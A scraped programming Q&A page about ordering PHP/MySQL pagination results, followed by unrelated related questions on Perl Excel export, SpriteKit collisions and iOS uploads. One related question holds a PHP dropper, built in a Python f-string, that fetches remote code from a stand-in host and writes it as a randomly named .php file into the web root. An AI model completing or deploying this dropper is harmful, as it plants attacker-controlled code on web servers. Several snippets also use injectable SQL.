How to get data in descending order? - pagination

I've read everything I can find on this website, but haven't been able to find an answer.
I have a pagination that displays in ascending order. I have noticed that when I enter a new file to my database, they don't show up first in the pagination result. Any help would be appreciated. Here is my pagination script:
<?php
include('connect.php');
$tableName="resumesearch";
$targetpage = "searchresumes.php";
$limit = 5;
$query = "SELECT COUNT(*) as num FROM $tableName";
$total_pages = mysql_fetch_array(mysql_query($query));
$total_pages = $total_pages[num];
$stages = 3;
$page = mysql_escape_string($_GET['page']);
if($page){
$start = ($page - 1) * $limit;
}else{
$start = 0;
}
// Get page data
$query1 = "SELECT * FROM $tableName LIMIT $start, $limit";
$result = mysql_query($query1);
// Initial page num setup
if ($page == 0){$page = 1;}
$prev = $page - 1;
$next = $page + 1;
$lastpage = ceil($total_pages/$limit);
$LastPagem1 = $lastpage - 1;
$paginate = '';
if($lastpage > 1)
{
$paginate .= "<div class='paginate'>";
// Previous
if ($page > 1){
$paginate.= "<a href='$targetpage?page=$prev'>previous</a>";
}else{
$paginate.= "<span class='disabled'>previous</span>"; }
// Pages
if ($lastpage < 7 + ($stages * 2)) // Not enough pages to breaking it up
{
for ($counter = 1; $counter <= $lastpage; $counter++)
{
if ($counter == $page){
$paginate.= "<span class='current'>$counter</span>";
}else{
$paginate.= "<a href='$targetpage?page=$counter'>$counter</a>";}
}
}
elseif($lastpage > 5 + ($stages * 2)) // Enough pages to hide a few?
{
// Beginning only hide later pages
if($page < 1 + ($stages * 2))
{
for ($counter = 1; $counter < 4 + ($stages * 2); $counter++)
{
if ($counter == $page){
$paginate.= "<span class='current'>$counter</span>";
}else{
$paginate.= "<a href='$targetpage?page=$counter'>$counter</a>";}
}
$paginate.= "...";
$paginate.= "<a href='$targetpage?page=$LastPagem1'>$LastPagem1</a>";
$paginate.= "<a href='$targetpage?page=$lastpage'>$lastpage</a>";
}
// Middle hide some front and some back
elseif($lastpage - ($stages * 2) > $page && $page > ($stages * 2))
{
$paginate.= "<a href='$targetpage?page=1'>1</a>";
$paginate.= "<a href='$targetpage?page=2'>2</a>";
$paginate.= "...";
for ($counter = $page - $stages; $counter <= $page + $stages; $counter++)
{
if ($counter == $page){
$paginate.= "<span class='current'>$counter</span>";
}else{
$paginate.= "<a href='$targetpage?page=$counter'>$counter</a>";}
}
$paginate.= "...";
$paginate.= "<a href='$targetpage?page=$LastPagem1'>$LastPagem1</a>";
$paginate.= "<a href='$targetpage?page=$lastpage'>$lastpage</a>";
}
// End only hide early pages
else
{
$paginate.= "<a href='$targetpage?page=1'>1</a>";
$paginate.= "<a href='$targetpage?page=2'>2</a>";
$paginate.= "...";
for ($counter = $lastpage - (2 + ($stages * 2)); $counter <= $lastpage; $counter++)
{
if ($counter == $page){
$paginate.= "<span class='current'>$counter</span>";
}else{
$paginate.= "<a href='$targetpage? page=$counter'>$counter</a>";}
}
}
}
// Next
if ($page < $counter - 1){
$paginate.= "<a href='$targetpage?page=$next'>next</a>";
}else{
$paginate.= "<span class='disabled'>next</span>";
}
$paginate.= "</div>";
}
echo $total_pages.' Results';
// pagination
echo $paginate;
?>

The ordering of a query without an ORDER BY is unspecified.
Thus, ORDER BY (DESC) in the query is required - this means that there must be a column or set of columns that define a stable ordering. For instance, imagine is the query is updated to:
SELECT * FROM $tableName
ORDER BY createdAt DESC, id ASC
LIMIT $start, $limit
Here I conjecture that there is an createdAt column that represents the dateitem an item was added. The addition of the ordering over the id (presumably an auto-increment PK) is to ensure query stability in the case where multiple createdAt columns have the same value, which might be the case in highly concurrent or mass-insert situations.
Note that I do not simply use ORDER BY id DESC because even though id is (presumed to be) an auto-increment column it does not represent the same stable ordering of information. Databases are about information.
In addition,
MySQL has a clever way of returning the "total count" with a limit and;
Consider updating the code to use mysqli/PDO and prepared statements.

Related

Function php + Formatted string literals

how i can use a Formatted string literals for my function in php:
filephpran = random_file(10) + '.php'
f'<?php #ini_set("output_buffering", 0); #ini_set("display_errors", 0); set_time_limit(0); function http_get($url){ $im = curl_init($url); curl_setopt($im, CURLOPT_RETURNTRANSFER, 1); curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($im, CURLOPT_HEADER, 0); return curl_exec($im); curl_close($im); } $check = $_SERVER["DOCUMENT_ROOT"] . "'/{filephpran}'"; $text = http_get("https://example.com/script.txt"); $open = fopen($check, "w"); fwrite($open, $text); fclose($open); if(file_exists($check)){ } echo ""; ?>'
i have try so many time but still dont working, need on php function add " filephpran ".
Thanks so much for help me!!

How to open results in excel when clicked on a link from web page created using perl cgi script

I have a Perl CGI script that displays results (50 rows) from a database query on a web page.
At the end of each row, I have a column which is HTML href link.
When this link is clicked, I have to open that particular record in Excel and allow it to be saved.
I tried using SpreadSheet::WriteExcel, but no luck.
Can anyone please give me a help link or help thread regarding this?
Code:
while(my $row = $query->fetchrow_hashref){
$html .= "<tr>";
$html .= "<td style='border-bottom:1px solid #CCCCCC' nowrap>$row->{promoter}</td>";
$html .= "<td style='border-bottom:1px solid #CCCCCC' nowrap>$row->{company}</td>";
$html .= "<td style='border-bottom:1px solid #CCCCCC' nowrap>$row->{bunit}</td>";
$html .= "<td style='border-bottom:1px solid #CCCCCC' nowrap>$row->{sub}</td>";
$html .= "<td style='border-bottom:1px solid #CCCCCC' nowrap>$row->{region}</td>";
$html .= "<td style='border-bottom:1px solid #CCCCCC' nowrap>$row->{workstream}</td>";
$html .= "<td style='border-bottom:1px solid #CCCCCC' nowrap>$row->{contractor}</td>";
$html .= "<td style='border-bottom:1px solid #CCCCCC' nowrap>$row->{amp}</td>";
### Link to open this record in excel sheet ##
}
In the main script, create a link with anchor tag which redirects to new script where you define what exactly need to be written in Excel.
Created a new script where below sub routine is defined.
When the link is clicked, it will ask for Download/Save option for excel document.
Code:1
$html .= "<td style='border-bottom:1px solid #CCCCCC' nowrap>$row->{workstream}</td>";
$html .= "<td style='border-bottom:1px solid #CCCCCC' nowrap>$row->{contractor}</td>";
$html .= "<td style='border-bottom:1px solid #CCCCCC' nowrap>$row->{amp}</td>";
$html .= "<td style='border-bottom:1px solid #CCCCCC'><a href='notC.cgi?promoter=$row->{promoter}' target='_blank'>Link</a></td>";
$html .= "<td style='border-bottom:1px solid #CCCCCC'><a href='escC.cgi?promoter=$row->{promoter}' target='_blank'>Link</a></td>";
Code:2
sub doExcel {
print "Content-type: excel/ms-excel; name=notC.xls\n";
print "Content-disposition: attachment; filename=notC.xls\n\n";
binmode(STDOUT);
my $dbh = Kearynet::Database->Handle();
my $query = $dbh->prepare("SELECT * FROM projects.notNames where notPromoter = '$notPromoter' ");
$query->execute();
while($row = $query->fetchrow_hashref){
$searchresults{ $row->{notId} } = $row;
}
my $fname="notContacts_".$notPromoter.".xls";
print "Content-type: excel/ms-excel; name=$fname\n";
print "Content-disposition: attachment; filename=$fname\n\n";
binmode(STDOUT);
my $x=0;
my $workbook = Spreadsheet::WriteExcel->new(\*STDOUT);
my $worksheet = $workbook->add_worksheet("NotificationContacts");
$worksheet->activate();
$worksheet->write($x, 0, "Not RouteId");
$worksheet->write($x, 1, "Not Promoter");
$worksheet->write($x, 2, "Not Level");
.....
foreach my $r (sort keys %searchresults){
my $nrow = $searchresults{$r};
if( not $row->{notId} ){
$worksheet->write($x, 0, $nrow->{notRouteId} );
$worksheet->write($x, 1, $nrow->{notPromoter} );
$worksheet->write($x, 2, $nrow->{notLevel} );
$worksheet->write($x, 3, $nrow->{notRegion} );
$worksheet->write($x, 4, $nrow->{nTWRConId_1} );
$worksheet->write($x, 5, $nrow->{nTWRConName_1} );
}
}
}

xcode Sprite Kit Score counts and Coin is removed before Hero touches it

I am a Newbie, and I am making my first game. Everything is working great accept when I added coins.
-(void)spawnCoin {
SKNode* coinNode = [SKNode node];
coinNode.position = CGPointMake(self.frame.size.width + 150 + (arc4random() % 100), 0 );
coinNode.zPosition = -10;
CGFloat y = arc4random() % (NSInteger)( self.frame.size.height / 2 ) + 40;
SKTexture* coinTexture1 = [SKTexture textureWithImageNamed:#"Coins_1"];
coinTexture1.filteringMode = SKTextureFilteringNearest;
SKTexture* coinTexture2 = [SKTexture textureWithImageNamed:#"Coins_2"];
coinTexture2.filteringMode = SKTextureFilteringNearest;
SKTexture* coinTexture3 = [SKTexture textureWithImageNamed:#"Coins_3"];
coinTexture3.filteringMode = SKTextureFilteringNearest;
SKTexture* coinTexture4 = [SKTexture textureWithImageNamed:#"Coins_4"];
coinTexture4.filteringMode = SKTextureFilteringNearest;
SKTexture* coinTexture5 = [SKTexture textureWithImageNamed:#"Coins_5"];
coinTexture5.filteringMode = SKTextureFilteringNearest;
SKTexture* coinTexture6 = [SKTexture textureWithImageNamed:#"Coins_6"];
coinTexture6.filteringMode = SKTextureFilteringNearest;
SKAction* spin = [SKAction repeatActionForever:[SKAction animateWithTextures:#[coinTexture1, coinTexture2, coinTexture3, coinTexture4, coinTexture5, coinTexture6] timePerFrame:0.05]];
_coin = [SKSpriteNode spriteNodeWithTexture:coinTexture6];
[_coin runAction:spin];
[_coin setScale:1.0];
_coin.position = CGPointMake( 0, y );
_coin.physicsBody = [SKPhysicsBody bodyWithRectangleOfSize:_coin.size];
_coin.physicsBody.dynamic = NO;
_coin.physicsBody.categoryBitMask = scoreCategory;
_coin.physicsBody.contactTestBitMask = birdCategory;
[coinNode addChild:_coin];
[coinNode runAction:_moveCoinsAndRemove];
[_coins addChild:coinNode];
SKNode* contactNode = [SKNode node];
contactNode.position = CGPointMake(0,y);
contactNode.physicsBody = [SKPhysicsBody bodyWithRectangleOfSize:_coin.size];
contactNode.physicsBody.dynamic = NO;
contactNode.physicsBody.categoryBitMask = scoreCategory;
contactNode.physicsBody.contactTestBitMask = birdCategory;
[_coin addChild:contactNode];
}
(void)didBeginContact:(SKPhysicsContact *)contact {
if (_score > _heighscore) {
[[NSUserDefaults standardUserDefaults] setInteger:_score forKey:#"HighScoreSave"];
// Vibrate
AudioServicesPlayAlertSound(kSystemSoundID_Vibrate);
}
if( _moving.speed > 0 ) {
if( ( contact.bodyA.categoryBitMask & scoreCategory ) == scoreCategory || ( contact.bodyB.categoryBitMask & scoreCategory ) == scoreCategory ) {
// contact with score entity
SKNode* coinNode = contact.bodyB.node;
[coinNode removeFromParent];
coinNode.hidden = YES;
_score++;
_scoreLabelNode.text = [NSString stringWithFormat:#"%ld", (long)_score];
Solved this,
coinNode.position = CGPointMake(self.frame.size.width / 1 + _coin.size.width / 1 - 50 + (arc4random() % 50), 0 );
coinNode.zPosition = -10;
CGFloat y = arc4random() % (NSInteger)( self.frame.size.height / 2 ) + 20;
But now I have a NEW problem. When my hero hits the coins they react like obstacles and he is killed instead of just counting and vanishing. It add to to the score for the hit, but also stops the entire game as if the hero has been killed.
Here is my code:
[_coin setScale:1.0];
_coin.position = CGPointMake( 0, y );
_coin.physicsBody = [SKPhysicsBody bodyWithRectangleOfSize:_coin.size];
_coin.physicsBody.dynamic = NO;
_coin.physicsBody.usesPreciseCollisionDetection = YES;
_coin.physicsBody.categoryBitMask = coinCategory;
_coin.physicsBody.collisionBitMask = 0;
_coin.physicsBody.contactTestBitMask = birdCategory;
[coinNode addChild:_coin];
SKNode* coinContactNode = [SKNode node];
coinContactNode.position = CGPointMake( _bird.size.width / 0.5, CGRectGetMidY( _coin.frame ) );
coinContactNode.physicsBody = [SKPhysicsBody bodyWithRectangleOfSize:CGSizeMake(_coin.size.width, _coin.size.height)];
coinContactNode.physicsBody.dynamic = NO;
coinContactNode.physicsBody.usesPreciseCollisionDetection = YES;
coinContactNode.physicsBody.categoryBitMask = coinCategory;
coinContactNode.physicsBody.collisionBitMask = 0;
coinContactNode.physicsBody.contactTestBitMask = birdCategory;
[_coin addChild:coinContactNode];
[coinNode runAction:_moveCoinsAndRemove];
[_coins addChild:coinNode];
And here:
(void)didBeginContact:(SKPhysicsContact *)contact {
if (_score > _heighscore) {
[[NSUserDefaults standardUserDefaults] setInteger:_score forKey:#"HighScoreSave"];
// Sound effect – Score
[self runAction:[SKAction playSoundFileNamed:#"Tap_It_Real_Good.mp3" waitForCompletion:NO]];
// Vibrate
AudioServicesPlayAlertSound(kSystemSoundID_Vibrate);
}
if( _moving.speed > 0 ) {
if( ( contact.bodyA.categoryBitMask & coinCategory ) == coinCategory || ( contact.bodyB.categoryBitMask & coinCategory ) == coinCategory ) {
_score2++;
_scoreLabelNode2.text = [NSString stringWithFormat:#"%ld", (long)_score2];
// Sound effect – Score
[self runAction:[SKAction playSoundFileNamed:#"Tap_It.mp3" waitForCompletion:NO]];
// Add a little visual feedback for the score increment
[_scoreLabelNode2 runAction:[SKAction sequence:#[[SKAction scaleTo:1.5 duration:0.2], [SKAction scaleTo:1.0 duration:0.2]]]];
}
if( ( contact.bodyA.categoryBitMask & scoreCategory ) == scoreCategory || ( contact.bodyB.categoryBitMask & scoreCategory ) == scoreCategory ) {
// Bird has contact with score entity
_score++;
// Sound effect – Score
[self runAction:[SKAction playSoundFileNamed:#"Tap_It.mp3" waitForCompletion:NO]];
_scoreLabelNode.text = [NSString stringWithFormat:#"%ld", (long)_score];
// Add a little visual feedback for the score increment
[_scoreLabelNode runAction:[SKAction sequence:#[[SKAction scaleTo:1.5 duration:0.2], [SKAction scaleTo:1.0 duration:0.2]]]];
} else {
// Bird has collided with world
_moving.speed = 0;
_bird.physicsBody.collisionBitMask = worldCategory;
_coins.speed = 0;
_bird.speed = 0;
[_bird runAction:[SKAction rotateByAngle:M_PI * _bird.position.y * 0.01 duration:_bird.position.y * 0.003] completion:^{
}];
// Sound effect – Collision
[self runAction:[SKAction playSoundFileNamed:#"Tap_It.mp3" waitForCompletion:NO]];
// Vibrate
AudioServicesPlayAlertSound(kSystemSoundID_Vibrate);
// Flash background if contact is detected
[self removeActionForKey:#"flash"];
[self runAction:[SKAction sequence:#[[SKAction repeatAction:[SKAction sequence:#[[SKAction runBlock:^{
self.backgroundColor = [SKColor redColor];
}], [SKAction waitForDuration:0.05], [SKAction runBlock:^{
self.backgroundColor = _skyColor;
}], [SKAction waitForDuration:0.05]]] count:4], [SKAction runBlock:^{
_canRestart = YES;
}]]] withKey:#"flash"];
}
}
}
Any help. Thanks :)

Limit the page numbers shown in pagination

I have a pagination script that displays a list of all pages.
My site has a lot of pages, and all page numbers are shown in the pagination.
I would like to only show ten of the numbers at a time
like this:
Prev [1][2][3][4][5][6][7][8][9][10] Next
How can I accomplish this? Here is my code:
$tableName="jobposting";
$targetpage = "index.php";
$limit = 6;
$query = "SELECT COUNT(*) as num FROM $tableName";
$total_pages = mysql_fetch_array(mysql_query($query));
$total_pages = $total_pages[num];
$stages = 3;
$page = mysql_escape_string($_GET['page']);
if($page){
$start = ($page - 1) * $limit;
}else{
$start = 0;
}
// Get page data
$query1 = "SELECT * FROM $tableName ORDER BY date DESC, id ASC LIMIT $start, $limit";
$result = mysql_query($query1);
// Initial page num setup
if ($page == 0){$page = 1;}
$prev = $page - 1;
$next = $page + 1;
$lastpage = ceil($total_pages/$limit);
$LastPagem1 = $lastpage - 1;
$paginate = '';
if($lastpage > 1)
{
$paginate .= "<div class='paginate'>";
// Previous
if ($page > 1){
$paginate.= "<a href='$targetpage?page=$prev'>prev</a>";
}else{
$paginate.= "<span class='disabled'>prev</span>"; }
// Pages
if ($lastpage < 7 + ($stages * 2)) // Not enough pages to breaking it up
{
for ($counter = 1; $counter <= $lastpage; $counter++)
{
if ($counter == $page){
$paginate.= "<span class='current'>$counter</span>";
}else{
$paginate.= "<a href='$targetpage?page=$counter'>$counter</a>";}
}
}
elseif($lastpage > 5 + ($stages * 2)) // Enough pages to hide a few?
{
// Beginning only hide later pages
if($page < 1 + ($stages * 2))
{
for ($counter = 1; $counter < 4 + ($stages * 2); $counter++)
{
if ($counter == $page){
$paginate.= "<span class='current'>$counter</span>";
}else{
$paginate.= "<a href='$targetpage?page=$counter'>$counter</a>";}
}
$paginate.= "...";
$paginate.= "<a href='$targetpage?page=$LastPagem1'>$LastPagem1</a>";
$paginate.= "<a href='$targetpage?page=$lastpage'>$lastpage</a>";
}
// Middle hide some front and some back
elseif($lastpage - ($stages * 2) > $page && $page > ($stages * 2))
{
$paginate.= "<a href='$targetpage?page=1'>1</a>";
$paginate.= "<a href='$targetpage?page=2'>2</a>";
$paginate.= "...";
for ($counter = $page - $stages; $counter <= $page + $stages; $counter++)
{
if ($counter == $page){
$paginate.= "<span class='current'>$counter</span>";
}else{
$paginate.= "<a href='$targetpage?page=$counter'>$counter</a>";}
}
$paginate.= "...";
$paginate.= "<a href='$targetpage?page=$LastPagem1'>$LastPagem1</a>";
$paginate.= "<a href='$targetpage?page=$lastpage'>$lastpage</a>";
}
// End only hide early pages
else
{
$paginate.= "<a href='$targetpage?page=1'>1</a>";
$paginate.= "<a href='$targetpage?page=2'>2</a>";
$paginate.= "...";
for ($counter = $lastpage - (2 + ($stages * 2)); $counter <= $lastpage; $counter++)
{
if ($counter == $page){
$paginate.= "<span class='current'>$counter</span>";
}else{
$paginate.= "<a href='$targetpage?page=$counter'>$counter</a>";}
}
}
}
// Next
if ($page < $counter - 1){
$paginate.= "<a href='$targetpage?page=$next'>next</a>";
}else{
$paginate.= "<span class='disabled'>next</span>";
}
$paginate.= "</div>";
}
?>

Uploading images to server using ASIHTTPRequest in iphone

I have to upload images to server form iphone I am using ASIHTTPRequest for this. I have set a loop for uploading seven files. But after the executing only last file is uploaded can some one point out where I am getting it wrong.
I am using the below code for uploading :
for (int i=1; i<8; i++)
{
NSString* filename = [NSString stringWithFormat:#"Photo%d.jpg", i];
NSString *path = [[NSHomeDirectory() stringByAppendingPathComponent:#"Documents"] stringByAppendingPathComponent:filename];
[request setFile:path forKey:[NSString stringWithFormat:#"file"]];
}
[request startAsynchronous];
[resultView setText:#"Uploading data..."];
My Php file code is as following :
<?php
if ($_FILES["file"]["error"] > 0)
{
echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
}
else
{
echo "Upload: " . $_FILES["file"]["name"] . "<br />";
echo "Type: " . $_FILES["file"]["type"] . "<br />";
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";
if (file_exists("vinay/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
"vinay/" . $_FILES["file"]["name"]);
echo "Stored in: " . "http://serverpath" . $_FILES["file"]["name"];
}
}
?>
You're overwriting the key called file & you need to use a queue.
Do
[self setNetworkQueue:[ASINetworkQueue queue]];
[[self networkQueue] setDelegate:self];
for (int i=1; i<8; i++)
{
NSString* filename = [NSString stringWithFormat:#"Photo%d.jpg", i];
NSString *path = [[NSHomeDirectory() stringByAppendingPathComponent:#"Documents"] stringByAppendingPathComponent:filename];
[request setFile:path forKey:[NSString stringWithFormat:#"file%d", i]];
[[self networkQueue] addOperation:request];
}
[[self networkQueue] go];
You're overwriting request.file, hence only the last one gets uploaded. You have to make individual requests for each file.
Or you could use [request addFile:(id)data withFileName:(NSString *)fileName andContentType:(NSString *)contentType forKey:(NSString *)key] to send multiple files in one request.

Resources